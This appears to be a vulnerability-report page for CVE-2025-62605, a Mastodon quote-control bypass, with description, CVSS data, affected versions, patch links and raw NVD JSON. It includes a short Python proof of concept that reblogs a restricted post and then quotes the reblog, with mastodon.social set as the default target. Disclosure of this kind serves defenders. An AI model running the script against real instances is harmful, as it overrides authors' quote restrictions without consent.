Security Vulnerability Report
中文
CVE-2025-62605 CVSS 4.3 MEDIUM

CVE-2025-62605

Published: 2025-10-21 17:15:41
Last Modified: 2025-12-12 13:39:29

Description

Mastodon is a free, open-source social network server based on ActivityPub. In Mastodon version 4.4, support for verifiable quote posts with quote controls was added, but it is possible for an attacker to bypass these controls in Mastodon versions prior to 4.4.8 and 4.5.0-beta.2. Mastodon internally treats reblogs as statuses. Since they were not special-treated, an attacker could reblog any post, then quote their reblog, technically quoting themselves, but having the quote feature a preview of the post they did not get authorization for with all of the affordances that would be otherwise denied by the quote controls. This issue has been patched in versions 4.4.8 and 4.5.0-beta.2.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:joinmastodon:mastodon:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:joinmastodon:mastodon:4.5.0:beta1:*:*:*:*:*:* - VULNERABLE
Mastodon >= 4.4.0, < 4.4.8
Mastodon 4.5.0-beta.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62605 PoC - Mastodon Quote Control Bypass via Reblog # This PoC demonstrates how to bypass Mastodon's quote controls # by leveraging the reblog-then-quote technique. import requests MASTODON_INSTANCE = "https://mastodon.social" # Target instance ACCESS_TOKEN = "YOUR_ACCESS_TOKEN" # Attacker's access token TARGET_STATUS_ID = "TARGET_STATUS_ID" # Status with restricted quote controls headers = { "Authorization": f"Bearer {ACCESS_TOKEN}", "Content-Type": "application/json" } # Step 1: Reblog (re-share) the target status that has quote controls set # This creates a new reblog status owned by the attacker reblog_url = f"{MASTODON_INSTANCE}/api/v1/statuses/{TARGET_STATUS_ID}/reblog" reblog_response = requests.post(reblog_url, headers=headers) reblog_status = reblog_response.json() print(f"Reblogged status ID: {reblog_status['id']}") # Step 2: Quote the reblogged status (which is owned by the attacker) # The quote control check will pass because the attacker is quoting their own reblog # But the preview will show the original restricted post's content quote_url = f"{MASTODON_INSTANCE}/api/v1/statuses" quote_payload = { "status": "Check out this post!", "quoted_status_id": reblog_status['id'] # Quote the reblog, not the original } quote_response = requests.post(quote_url, headers=headers, json=quote_payload) print(f"Quote posted: {quote_response.json()}") # The resulting quote post will display the original restricted post's preview # with all affordances that should have been blocked by quote controls.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62605", "sourceIdentifier": "[email protected]", "published": "2025-10-21T17:15:41.203", "lastModified": "2025-12-12T13:39:29.430", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mastodon is a free, open-source social network server based on ActivityPub. In Mastodon version 4.4, support for verifiable quote posts with quote controls was added, but it is possible for an attacker to bypass these controls in Mastodon versions prior to 4.4.8 and 4.5.0-beta.2. Mastodon internally treats reblogs as statuses. Since they were not special-treated, an attacker could reblog any post, then quote their reblog, technically quoting themselves, but having the quote feature a preview of the post they did not get authorization for with all of the affordances that would be otherwise denied by the quote controls. This issue has been patched in versions 4.4.8 and 4.5.0-beta.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-754"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:joinmastodon:mastodon:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.4.0", "versionEndExcluding": "4.4.8", "matchCriteriaId": "1E60306E-2AEE-4F99-8430-6075162A4799"}, {"vulnerable": true, "criteria": "cpe:2.3:a:joinmastodon:mastodon:4.5.0:beta1:*:*:*:*:*:*", "matchCriteriaId": "A3835271-0B04-4DFD-AFA8-4A31AA713B97"}]}]}], "references": [{"url": "https://github.com/mastodon/mastodon/commit/2dc4552229b55e2e4adaef675e68ed7ae123d78e", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/mastodon/mastodon/commit/405a49df44033e7d179f3d44d59fb68a67d54789", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/mastodon/mastodon/releases/tag/v4.4.8", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/mastodon/mastodon/releases/tag/v4.5.0-beta.2", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/mastodon/mastodon/security/advisories/GHSA-8h43-rcqj-wpc6", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}